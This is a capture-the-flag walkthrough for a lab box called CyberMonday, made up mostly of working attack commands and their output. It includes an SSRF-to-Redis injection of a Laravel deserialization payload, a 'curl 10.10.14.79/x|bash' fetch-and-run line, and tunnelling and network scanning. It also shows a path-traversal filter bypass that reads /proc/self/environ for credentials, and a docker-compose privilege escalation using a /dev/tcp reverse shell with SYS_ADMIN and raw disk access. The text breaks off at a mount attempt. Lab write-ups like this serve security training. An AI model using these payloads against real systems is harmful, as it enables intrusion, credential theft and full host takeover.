➜  ~ redis-cli
127.0.0.1:6379> help SET

  SET key value [expiration EX seconds|PX milliseconds] [NX|XX]
  summary: Set the string value of a key
  since: 1.0.0
  group: string

alt text

By following this doc we can find an interesting command in Redis

MIGRATE - Atomically transfers a key from one Redis instance to another. Syntax: MIGRATE host port <key | “”> destination-db timeout [COPY] [REPLACE] [AUTH password | AUTH2 username password] [KEYS key [key …]]

Description: Atomically transfers a key from one Redis instance to another. Complexity: This command actually executes a DUMP+DEL in the source instance, and a RESTORE in the target instance. See the pages of these commands for time complexity. Also an O(N) data transfer between the two instances is performed - Since: 2.6.0

We should be able to SET a key and to transfer it with MIGRATE to verify the key has been created

Let’s try something like that :

alt text

alt text

1
2
3
127.0.0.1:6379> keys *

1) "toto"

Bingo !!!

alt text

Knowing that Laravel stores the session data in Redis with the key format like : [prefix][sessionid] - And we know the prefix from the .env ;)

1
REDIS_PREFIX=laravel_session:

This blog from Synacktiv is very interesting and we gonna follow it

Grab the cybermonday_session and use the tool on it

alt text

1
2
3
4
5
6
➜ python3 laravel_crypto_killer.py decrypt -k 'base64:EX3zUxJkzEAY2xM4pbOfYMJus+bjx6V25Wnas+rFMzA=' -v 'eyJpdiI6ImIwOGJpYk9HRkM5ZmVVdE9aZldZOXc9PSIsInZhbHVlIjoiWERHWVYvZ29iWFBJd0k0SWQvWCtzb2t0bFJKMDBBY3pyaTl3NnV4eW9ZaHY3cDIzMVpicDNTekVNWlNHQzlSb1hublVxc1NSdUo0NDVRb2Y3MFdnS2lJUHBoYUZsbnhpUlZiQmwxb1YxcldSbGJCNllFYk5qaEdBSTdsZG05SHYiLCJtYWMiOiI4Yjc0NTkwODhkOTk3MTVjZjcyODIzOGQ4YzE4Y2QxMzQ5MzMyZmUyMjBlM2MzYTE3YTdhZTE0MGFjNjJlYTA3IiwidGFnIjoiIn0='
[+] Unciphered value identified!
[*] Unciphered value
25c6a7ecd50b519b7758877cdc95726f29500d4c|ULHYXQ4PwroCpyPsda3W4VYJVrfRUzWQG6lomsmh
[*] Base64 encoded unciphered version
b'MjVjNmE3ZWNkNTBiNTE5Yjc3NTg4NzdjZGM5NTcyNmYyOTUwMGQ0Y3xVTEhZWFE0UHdyb0NweVBzZGEzVzRWWUpWcmZSVXpXUUc2bG9tc21oDw8PDw8PDw8PDw8PDw8P'

Grab the laravel version

1
2
3
4
5
6
7
8
cat toto/composer.lock | grep -I -C5 'laravel/framework'
                }
            ],
            "time": "2022-10-26T14:07:24+00:00"
        },
        {
            "name": "laravel/framework",
            "version": "v9.46.0",
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
phpggc -l laravel

Gadget Chains
-------------

NAME             VERSION                  TYPE                  VECTOR        I
Laravel/FD1      *                        File delete           __destruct    *
Laravel/RCE1     5.4.27                   RCE: Function Call    __destruct
Laravel/RCE2     5.4.0 <= 8.6.9+          RCE: Function Call    __destruct
Laravel/RCE3     5.5.0 <= 5.8.35          RCE: Function Call    __destruct    *
Laravel/RCE4     5.4.0 <= 8.6.9+          RCE: Function Call    __destruct
Laravel/RCE5     5.8.30                   RCE: PHP Code         __destruct    *
Laravel/RCE6     5.5.* <= 5.8.35          RCE: PHP Code         __destruct    *
Laravel/RCE7     ? <= 8.16.1              RCE: Function Call    __destruct    *
Laravel/RCE8     7.0.0 <= 8.6.9+          RCE: Function Call    __destruct    *
Laravel/RCE9     5.4.0 <= 9.1.8+          RCE: Function Call    __destruct
Laravel/RCE10    5.6.0 <= 9.1.8+          RCE: Function Call    __toString
Laravel/RCE11    5.4.0 <= 9.1.8+          RCE: Function Call    __destruct
Laravel/RCE12    5.8.35, 7.0.0, 9.3.10    RCE: Function Call    __destruct    *
Laravel/RCE13    5.3.0 <= 9.5.1+          RCE: Function Call    __destruct    *
Laravel/RCE14    5.3.0 <= 9.5.1+          RCE: Function Call    __destruct
Laravel/RCE15    5.5.0 <= v9.5.1+         RCE: Function Call    __destruct
Laravel/RCE16    5.6.0 <= v9.5.1+         RCE: Function Call    __destruct
Laravel/RCE17    10.31.0                  RCE: Function Call    __destruct
Laravel/RCE18    10.31.0                  RCE: PHP Code         __destruct    *
Laravel/RCE19    10.34                    RCE: Command          __destruct
Laravel/RCE20    5.6 <= 10.x              RCE: Function Call    __destruct
Laravel/RCE21    5.1.*                    RCE: Function Call    __destruct
Laravel/RCE22    v10.0.0 <= v11.34.2+     RCE: Function Call    __destruct

Using the Laravel/RCE10

1
2
3
➜ phpggc Laravel/RCE10 system id

O:38:"Illuminate\Validation\Rules\RequiredIf":1:{s:9:"condition";a:2:{i:0;O:28:"Illuminate\Auth\RequestGuard":3:{s:8:"callback";s:14:"call_user_func";s:7:"request";s:6:"system";s:8:"provider";s:2:"id";}i:1;s:4:"user";}}

So the payload should be something like that

1
"set laravel_session:ULHYXQ4PwroCpyPsda3W4VYJVrfRUzWQG6lomsmh 'O:38:"Illuminate\Validation\Rules\RequiredIf":1:{s:9:"condition";a:2:{i:0;O:28:"Illuminate\Auth\RequestGuard":3:{s:8:"callback";s:14:"call_user_func";s:7:"request";s:6:"system";s:8:"provider";s:2:"id";}i:1;s:4:"user";}}'\r\n"

Ok let’s try it :

alt text

alt text

alt text

LET’S GOOO !!!!!!!!!!

Let’s do the same but with a reverse shell

1
2
3
phpggc Laravel/RCE10 system 'curl 10.10.14.79/x|bash'

O:38:"Illuminate\Validation\Rules\RequiredIf":1:{s:9:"condition";a:2:{i:0;O:28:"Illuminate\Auth\RequestGuard":3:{s:8:"callback";s:14:"call_user_func";s:7:"request";s:6:"system";s:8:"provider";s:23:"curl 10.10.14.79/x|bash";}i:1;s:4:"user";}}
1
2
3
4
5
POST /webhooks/c57b041b-a8c6-44cd-8983-366ec8099b8a HTTP/1.1
Host: webhooks-api-beta.cybermonday.htb
......

{"url": "http://redis:6379/", "method": "\r\nset laravel_session:ULHYXQ4PwroCpyPsda3W4VYJVrfRUzWQG6lomsmh 'O:38:\"Illuminate\\Validation\\Rules\\RequiredIf\":1:{s:9:\"condition\";a:2:{i:0;O:28:\"Illuminate\\Auth\\RequestGuard\":3:{s:8:\"callback\";s:14:\"call_user_func\";s:7:\"request\";s:6:\"system\";s:8:\"provider\";s:23:\"curl 10.10.14.79/x|bash\";}i:1;s:4:\"user\";}}'\r\n"}

alt text

Containers enum

On the container we can see that a home is mounted

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
www-data@070370e2cdc4:/mnt$ ls -la

drwxr-xr-x 5 1000 1000 4096 Aug  3  2023 .
drwxr-xr-x 1 root root 4096 Jul  3  2023 ..
lrwxrwxrwx 1 root root    9 Jun  4  2023 .bash_history -> /dev/null
-rw-r--r-- 1 1000 1000  220 May 29  2023 .bash_logout
-rw-r--r-- 1 1000 1000 3526 May 29  2023 .bashrc
drwxr-xr-x 3 1000 1000 4096 Aug  3  2023 .local
-rw-r--r-- 1 1000 1000  807 May 29  2023 .profile
drwxr-xr-x 2 1000 1000 4096 Aug  3  2023 .ssh
-rw-r--r-- 1 root root  701 May 29  2023 changelog.txt
drwxrwxrwx 2 root root 4096 Aug  3  2023 logs
-rw-r----- 1 root 1000   33 Feb  4 19:51 user.txt

www-data@070370e2cdc4:/mnt$ ls .ssh  	

authorized_keys

www-data@070370e2cdc4:/mnt$ cat .ssh/authorized_keys
ssh-rsa AAAAB3N...== john@cybermonday

We can also grab the ip and do some recons

1
2
3
4
5
www-data@070370e2cdc4:/mnt$ cat /etc/hosts

127.0.0.1	localhost
::1	...outers
--> 172.18.0.7	070370e2cdc4

Let’s setup a proxy and do some enumerations

1
2
3
4
5
6
7
8
9
chisel server -p 9999 --socks5 --reverse
2026/02/04 23:21:02 server: Reverse tunnelling enabled
2026/02/04 23:21:02 server: Fingerprint gemvqDQpGASBFylTQAKqvMUXCg2jrszi/qiTSII9eok=
2026/02/04 23:21:02 server: Listening on http://0.0.0.0:9999
2026/02/04 23:21:12 server: session#1: Client version (1.10.0) differs from server version (0.0.0-src)
2026/02/04 23:21:12 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening

# on target
chisel client 10.10.14.79:9999 R:socks
1
2
3
4
5
6
proxychains -q nmap -Pn -sT -vvv -p- 172.18.0.0/24

Discovered open port 80/tcp on 172.18.0.1
Discovered open port 80/tcp on 172.18.0.2
Discovered open port 22/tcp on 172.18.0.1
Discovered open port 3306/tcp on 172.18.0.3

Since i’m using proxychains, ICMP packets won’t get through, so i had to use -Pn, but it was way too long, so i manually listed everything around 172.18.0.7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
www-data@070370e2cdc4:/tmp$ ./fscan -h 172.18.0.7/32

[+] FCGI 172.18.0.7:9000

----------------------------------------------------------------------------------------------------

www-data@070370e2cdc4:/tmp$ ./fscan -h 172.18.0.3/32

172.18.0.3:3306 open
[*] alive ports len is: 1
start vulscan
[+] mysql 172.18.0.3:3306:root root

----------------------------------------------------------------------------------------------------

www-data@070370e2cdc4:/tmp$ ./fscan -h 172.18.0.5/32

172.18.0.5:6379 open
[*] alive ports len is: 1
start vulscan
[+] Redis 172.18.0.5:6379 unauthorized file:/data/dump.rdb

----------------------------------------------------------------------------------------------------

www-data@070370e2cdc4:/tmp$ ./fscan -h 172.18.0.6/32

172.18.0.6:80 open
[*] alive ports len is: 1
start vulscan
[*] WebTitle http://172.18.0.6         code:200 len:482    title:None

----------------------------------------------------------------------------------------------------

www-data@070370e2cdc4:/tmp$ ./fscan -p 1-65535 -h 172.18.0.4/32

172.18.0.4:5000 open

In mysql, nothing really interesting

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
proxychains -q mysql -u root -h 172.18.0.3 -p

MySQL [cybermonday]> show databases;
+--------------------+
| Database           |
+--------------------+
| cybermonday        |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| webhooks_api       |
+--------------------+

MySQL [webhooks_api]> select * from users;
+----+----------+--------------------------------------------------------------+------+
| id | username | password                                                     | role |
+----+----------+--------------------------------------------------------------+------+
|  1 | admin    | $2y$10$Fx8Va.kBE1FO2mVhlWaoDulGdoo9XYKQFDmAPkOjqNyIAtDtUY0lC | user |
+----+----------+--------------------------------------------------------------+------+
1 row in set (0.021 sec)

MySQL [webhooks_api]> select * from webhooks;
+----+--------------------------------------+-------+-------------------+---------------+
| id | uuid                                 | name  | description       | action        |
+----+--------------------------------------+-------+-------------------+---------------+
|  1 | fda96d32-e8c8-4301-8fb3-c821a316cf77 | tests | webhook for tests | createLogFile |
|  2 | e85ce55e-4197-49ad-8311-e6b6d2c5c24f | ssrf  | ssrf              | sendRequest   |
|  3 | c57b041b-a8c6-44cd-8983-366ec8099b8a | toto  | toto              | sendRequest   |
+----+--------------------------------------+-------+-------------------+---------------+

But the port 5000 on 172.18.0.4 is really interesting because it’s a Docker registry

Docker registries have a specific API - To confirm and see which images are stored there, we can try accessing to /v2/_catalog

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
➜ proxychains -q curl http://172.18.0.4:5000/v2/_catalog | jq

{
  "repositories": [
    "cybermonday_api"
  ]
}

➜ proxychains -q curl http://172.18.0.4:5000/v2/cybermonday_api/tags/list | jq 

{
  "name": "cybermonday_api",
  "tags": [
    "latest"
  ]
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
proxychains -q curl -H "Accept: application/vnd.docker.distribution.manifest.v2+json" http://172.18.0.4:5000/v2/cybermonday_api/manifests/latest | jq

{
   "schemaVersion": 2,
   "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
   "config": {
      "mediaType": "application/vnd.docker.container.image.v1+json",
      "size": 11008,
      "digest": "sha256:3012d9f8db2862d8d48468568db93583fc7b500eb4425b45c54830ee2f11fe3d"
   },
   "layers": [
      {
         "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
         "size": 29124744,
         "digest": "sha256:5b5fe70539cd6989aa19f25826309f9715a9489cf1c057982d6a84c1ad8975c7"
      },
      {
         "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
         "size": 224,
         "digest": "sha256:affe9439d2a25f35605a4fe59d9de9e65ba27de2403820981b091ce366b6ce70"
      },
      {
         "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
         "size": 104338947,
         "digest": "sha256:1684de57270ea8328d20b9d17cda5091ec9de632dbba9622cce10b82c2b20e62"
      },
      {
         "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
         "size": 269,
         "digest": "sha256:dc968f4da64f18861801f2c677d2460c4cc530f2e64232f1a23021a9760ffdae"
      },
      {
         "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
         "size": 12330754,
         "digest": "sha256:57fbc4474c06c29a50381676075d9ee5e8dca9fee0821045d0740a5bc572ec95"
      },
      {
         "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
         "size": 492,
         "digest": "sha256:9f5fbfd5edfcaf76c951d4c46a27560120a1cd6a172bf291a7ee5c2b42afddeb"
      },
      {
         "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
         "size": 35889986,
         "digest": "sha256:5c3b6a1cbf5455e10e134d1c129041d12a8364dac18a42cf6333f8fee4762f33"
      },
      {
         "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
         "size": 2449,
         "digest": "sha256:4756652e14e0fb6403c377eb87fd1ef557abc7864bf93bf7c25e19f91183ce2c"
      },
      {
         "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
         "size": 243,
         "digest": "sha256:57cdb531a15a172818ddf3eea38797a2f5c4547a302b65ab663bac6fc7ec4d4f"
      },
      {
         "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
         "size": 15628215,
         "digest": "sha256:1696d1b2f2c3c8b37ae902dfd60316f8928a31ff8a5ed0a2f9bbf255354bdee8"
      },
      {
         "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
         "size": 118257,
         "digest": "sha256:ca62759c06e1877153b3eab0b3b734d6072dd2e6f826698bf55aedf50c0959c1"
      },
      {
         "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
         "size": 521893,
         "digest": "sha256:ced3ae14b696846cab74bd01a27a10cb22070c74451e8c0c1f3dcb79057bcc5e"
      },
      {
         "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
         "size": 521882,
         "digest": "sha256:beefd953abbcb2b603a98ef203b682f8c5f62af19835c01206693ad61aed63ce"
      }
   ]
}

And grab them

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
➜ proxychains -q curl -o layer_final.tar.gz http://172.18.0.4:5000/v2/cybermonday_api/blobs/sha256:beefd953abbcb2b603a98ef203b682f8c5f62af19835c01206693ad61aed63ce

➜ ls -la

-rw-rw---- 1 root rvm  521882 Feb  5 00:01 layer_final.tar.gz

➜ tar -xvf layer_final.tar.gz

var/
var/www/
var/www/html/
var/www/html/.dockerignore
......
var/www/html/vendor/ramsey/uuid/src/Validator/ValidatorInterface.php
var/www/html/vendor/ramsey/uuid/src/functions.php

In summary, we have just recovered the source code of the webhook

Path Traversal

The first thing i grabbed is this API-KEY

1
2
3
// var/www/html/app/helpers/Api.php

$this->api_key = "22892e36-1770-11ee-be56-0242ac120002";

The other important thing in this source code is the path traversal $logName in var/www/html/app/controllers/LogsController.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
<?php

namespace app\controllers;
use app\helpers\Api;
use app\models\Webhook;

class LogsController extends Api
{
    public function index($request)
    {
        $this->apiKeyAuth();

        $webhook = new Webhook;
        $webhook_find = $webhook->find("uuid", $request->uuid);

        if(!$webhook_find)
        {
            return $this->response(["status" => "error", "message" => "Webhook not found"], 404);
        }

        if($webhook_find->action != "createLogFile")
        {
            return $this->response(["status" => "error", "message" => "This webhook was not created to manage logs"], 400);
        }

        $actions = ["list", "read"];

        if(!isset($this->data->action) || empty($this->data->action))
        {
            return $this->response(["status" => "error", "message" => "\"action\" not defined"], 400);
        }

        if($this->data->action == "read")
        {
            if(!isset($this->data->log_name) || empty($this->data->log_name))
            {
                return $this->response(["status" => "error", "message" => "\"log_name\" not defined"], 400);
            }
        }

        if(!in_array($this->data->action, $actions))
        {
            return $this->response(["status" => "error", "message" => "invalid action"], 400);
        }

        $logPath = "/logs/{$webhook_find->name}/";

        switch($this->data->action)
        {
            case "list":
                $logs = scandir($logPath);
                array_splice($logs, 0, 1); array_splice($logs, 0, 1);

                return $this->response(["status" => "success", "message" => $logs]);

            case "read":
                $logName = $this->data->log_name;

                if(preg_match("/\.\.\//", $logName))
                {
                    return $this->response(["status" => "error", "message" => "This log does not exist"]);
                }

                $logName = str_replace(' ', '', $logName);

                if(stripos($logName, "log") === false)
                {
                    return $this->response(["status" => "error", "message" => "This log does not exist"]);
                }

                if(!file_exists($logPath.$logName))
                {
                    return $this->response(["status" => "error", "message" => "This log does not exist"]);
                }

                $logContent = file_get_contents($logPath.$logName);



                return $this->response(["status" => "success", "message" => $logContent]);
        }
    }
}
1
2
3
// Line 58 - The script checks if the string contains exactly ../

if(preg_match("/\.\.\//", $logName)) { ... }
1
2
3
// Line 63 - The script removes all spaces from the $logName variable

$logName = str_replace(' ', '', $logName);

If we send .. / - The preg_match doesn’t detect .. / - Then, str_replace removes the space, which reconstructs the malicious ../ just before the file is read !!!

Ok let’s try it :

1
2
3
➜ curl http://webhooks-api-beta.cybermonday.htb/webhooks/create -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJ0YXRhIiwicm9sZSI6ImFkbWluIn0.cwX8i64bODqzHLg9rMRf5GSxyp4TwP2sH6ai6FalNGc" -d '{"name": "kk", "description": "kk", "action": "createLogFile"}' -H "Content-type: application/json"

{"status":"success","message":"Done! Send me a request to execute the action, as the event listener is still being developed.","webhook_uuid":"7457a1ca-22ec-4e02-8f11-2f78a3fd7391"}
1
2
3
➜ curl http://webhooks-api-beta.cybermonday.htb/webhooks/7457a1ca-22ec-4e02-8f11-2f78a3fd7391 -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJ0YXRhIiwicm9sZSI6ImFkbWluIn0.cwX8i64bODqzHLg9rMRf5GSxyp4TwP2sH6ai6FalNGc" -d '{"log_name": "kk", "log_content": "kk"}' -H "Content-type: application/json"

{"status":"success","message":"Log created"}
1
2
3
➜ curl http://webhooks-api-beta.cybermonday.htb/webhooks/7457a1ca-22ec-4e02-8f11-2f78a3fd7391/logs -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJ0YXRhIiwicm9sZSI6ImFkbWluIn0.cwX8i64bODqzHLg9rMRf5GSxyp4TwP2sH6ai6FalNGc" -d '{"action": "list"}' -H "Content-type: application/json" -H "x-api-key: 22892e36-1770-11ee-be56-0242ac120002"

{"status":"success","message":["kk-1770247965.log"]}
1
2
3
➜ curl http://webhooks-api-beta.cybermonday.htb/webhooks/7457a1ca-22ec-4e02-8f11-2f78a3fd7391/logs -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJ0YXRhIiwicm9sZSI6ImFkbWluIn0.cwX8i64bODqzHLg9rMRf5GSxyp4TwP2sH6ai6FalNGc" -d '{"action": "read", "log_name": ".. /.. /.. /.. /.. /.. /etc/passwd"}' -H "Content-type: application/json" -H "x-api-key: 22892e36-1770-11ee-be56-0242ac120002"

{"status":"error","message":"This log does not exist"}

This is normal - The script is also checking if the word log is present or not

1
2
3
4
5
6
// the script checks if the word "log" is present in the file name

if(stripos($logName, "log") === false)
{
    return $this->response(["status" => "error", "message" => "This log does not exist"]);
}

But it’s ok we can bypass it easily

1
2
3
4
5
6
➜ curl http://webhooks-api-beta.cybermonday.htb/webhooks/7457a1ca-22ec-4e02-8f11-2f78a3fd7391/logs -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJ0YXRhIiwicm9sZSI6ImFkbWluIn0.cwX8i64bODqzHLg9rMRf5GSxyp4TwP2sH6ai6FalNGc" -d '{"action": "read", "log_name": ".. /.. /logs/.. /.. /.. /.. /.. /.. /etc/passwd"}' -H "Content-type: application/json" -H "x-api-key: 22892e36-1770-11ee-be56-0242ac120002" | jq

{
  "status": "success",
  "message": "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\n_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n"
}

After many test - We finally have an interesting file to read : /proc/self/environ

1
2
3
4
5
6
➜ curl http://webhooks-api-beta.cybermonday.htb/webhooks/7457a1ca-22ec-4e02-8f11-2f78a3fd7391/logs -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJ0YXRhIiwicm9sZSI6ImFkbWluIn0.cwX8i64bODqzHLg9rMRf5GSxyp4TwP2sH6ai6FalNGc" -d '{"action": "read", "log_name": ".. /.. /logs/.. /.. /.. /.. /.. /.. /proc/self/environ"}' -H "Content-type: application/json" -H "x-api-key: 22892e36-1770-11ee-be56-0242ac120002" | jq

{
  "status": "success",
  "message": "HOSTNAME=e1862f4e1242\u0000PHP_INI_DIR=/usr/local/etc/php\u0000HOME=/root\u0000PHP_LDFLAGS=-Wl,-O1 -pie\u0000PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64\u0000DBPASS= [REDACTED] \u0000PHP_VERSION=8.2.7\u0000GPG_KEYS=39B641343D8C104B2B146DC3F9C39DC0B9698544 E60913E4DF209907D8E30D96659A97C9CF2A795A 1198C0117593497A5EC5C199286AF1F9897469DC\u0000PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64\u0000PHP_ASC_URL=https://www.php.net/distributions/php-8.2.7.tar.xz.asc\u0000PHP_URL=https://www.php.net/distributions/php-8.2.7.tar.xz\u0000DBHOST=db\u0000DBUSER=dbuser\u0000PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\u0000DBNAME=webhooks_api\u0000PHPIZE_DEPS=autoconf \t\tdpkg-dev \t\tfile \t\tg++ \t\tgcc \t\tlibc-dev \t\tmake \t\tpkg-config \t\tre2c\u0000PWD=/var/www/html\u0000PHP_SHA256=4b9fb3dcd7184fe7582d7e44544ec7c5153852a2528de3b6754791258ffbdfa0\u0000"
}

We can finally ssh as john with the password we found

1
2
3
4
5
6
7
8
9
ssh john@cybermonday.htb

john@cybermonday:~$ id

uid=1000(john) gid=1000(john) groups=1000(john)

john@cybermonday:~$ cat user.txt

06b...875

yay

Root

Malicious docker-compose.yml to root

Arriving on the box, cheking sudo rights we can see this :

1
2
3
4
5
6
7
john@cybermonday:~$ sudo -l

Matching Defaults entries for john on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User john may run the following commands on localhost:
    (root) /opt/secure_compose.py *.yml

And here’s the python code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#!/usr/bin/python3
import sys, yaml, os, random, string, shutil, subprocess, signal

def get_user():
    return os.environ.get("SUDO_USER")

def is_path_inside_whitelist(path):
    whitelist = [f"/home/{get_user()}", "/mnt"]

    for allowed_path in whitelist:
        if os.path.abspath(path).startswith(os.path.abspath(allowed_path)):
            return True
    return False

def check_whitelist(volumes):
    for volume in volumes:
        parts = volume.split(":")
        if len(parts) == 3 and not is_path_inside_whitelist(parts[0]):
            return False
    return True

def check_read_only(volumes):
    for volume in volumes:
        if not volume.endswith(":ro"):
            return False
    return True

def check_no_symlinks(volumes):
    for volume in volumes:
        parts = volume.split(":")
        path = parts[0]
        if os.path.islink(path):
            return False
    return True

def check_no_privileged(services):
    for service, config in services.items():
        if "privileged" in config and config["privileged"] is True:
            return False
    return True

def main(filename):

    if not os.path.exists(filename):
        print(f"File not found")
        return False

    with open(filename, "r") as file:
        try:
            data = yaml.safe_load(file)
        except yaml.YAMLError as e:
            print(f"Error: {e}")
            return False

        if "services" not in data:
            print("Invalid docker-compose.yml")
            return False

        services = data["services"]

        if not check_no_privileged(services):
            print("Privileged mode is not allowed.")
            return False

        for service, config in services.items():
            if "volumes" in config:
                volumes = config["volumes"]
                if not check_whitelist(volumes) or not check_read_only(volumes):
                    print(f"Service '{service}' is malicious.")
                    return False
                if not check_no_symlinks(volumes):
                    print(f"Service '{service}' contains a symbolic link in the volume, which is not allowed.")
                    return False
    return True

def create_random_temp_dir():
    letters_digits = string.ascii_letters + string.digits
    random_str = ''.join(random.choice(letters_digits) for i in range(6))
    temp_dir = f"/tmp/tmp-{random_str}"
    return temp_dir

def copy_docker_compose_to_temp_dir(filename, temp_dir):
    os.makedirs(temp_dir, exist_ok=True)
    shutil.copy(filename, os.path.join(temp_dir, "docker-compose.yml"))

def cleanup(temp_dir):
    subprocess.run(["/usr/bin/docker-compose", "down", "--volumes"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    shutil.rmtree(temp_dir)

def signal_handler(sig, frame):
    print("\nSIGINT received. Cleaning up...")
    cleanup(temp_dir)
    sys.exit(1)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Use: {sys.argv[0]} <docker-compose.yml>")
        sys.exit(1)

    filename = sys.argv[1]
    if main(filename):
        temp_dir = create_random_temp_dir()
        copy_docker_compose_to_temp_dir(filename, temp_dir)
        os.chdir(temp_dir)

        signal.signal(signal.SIGINT, signal_handler)

        print("Starting services...")
        result = subprocess.run(["/usr/bin/docker-compose", "up", "--build"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        print("Finishing services")

        cleanup(temp_dir)

So for example we can have a reverse shell by creating a container with john’s home directory

1
2
3
4
5
6
7
version: '3'
services:
  web:
    image: cybermonday_api
    command: bash -c "bash -i >& /dev/tcp/10.10.14.79/9001 0>&1"
    volumes:
      - /home/john:/mnt:ro

alt text

but we won’t be able to copy /bin/bash

1
2
3
4
5
6
7
8
9
10
root@1bf31c67ffe5:/mnt# ls

changelog.txt
logs
safe.yml
user.txt

root@1bf31c67ffe5:/mnt# cp /bin/bash .

cp: cannot create regular file './bash': Read-only file system

1 - Via debugfs

But let’s check the python code again

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def check_no_privileged(services):
    for service, config in services.items():
        # The script ONLY checks the "privileged" key
        if "privileged" in config and config["privileged"] is True:
            return False
    return True

def main(filename):
    
    # Single Verification Call on Privilege
    if not check_no_privileged(services):
        print("Privileged mode is not allowed.")
        return False

    for service, config in services.items():
        if "volumes" in config:

The script completely ignores other dangerous configuration keys such as cap_add, devices, or security_opt

Instead of trying to mount a directory via volumes, we will map the host’s raw physical disk, /dev/sda1 into the container and grant ourselves the capability to interact with it

1
2
3
4
5
6
7
8
9
10
11
version: '3'
services:
  pwn:
    image: cybermonday_api
    command: bash -c "bash -i >& /dev/tcp/10.10.14.79/9001 0>&1"
    cap_add:
      - SYS_ADMIN
    devices:
      - /dev/sda1:/dev/sda1
    volumes:
      - /home/john:/mnt:ro

Once inside the container, we verified access to the device file - However, attempting to mount the device failed, likely due to a default AppArmor profile blocking the mount syscall even with SYS_ADMIN capabilities, or XFS UUID conflicts

1
2
3
4
5
6
root@49ab1680c70d:~# mkdir /toto

root@49ab1680c70d:~# mount /dev/sda1 /toto

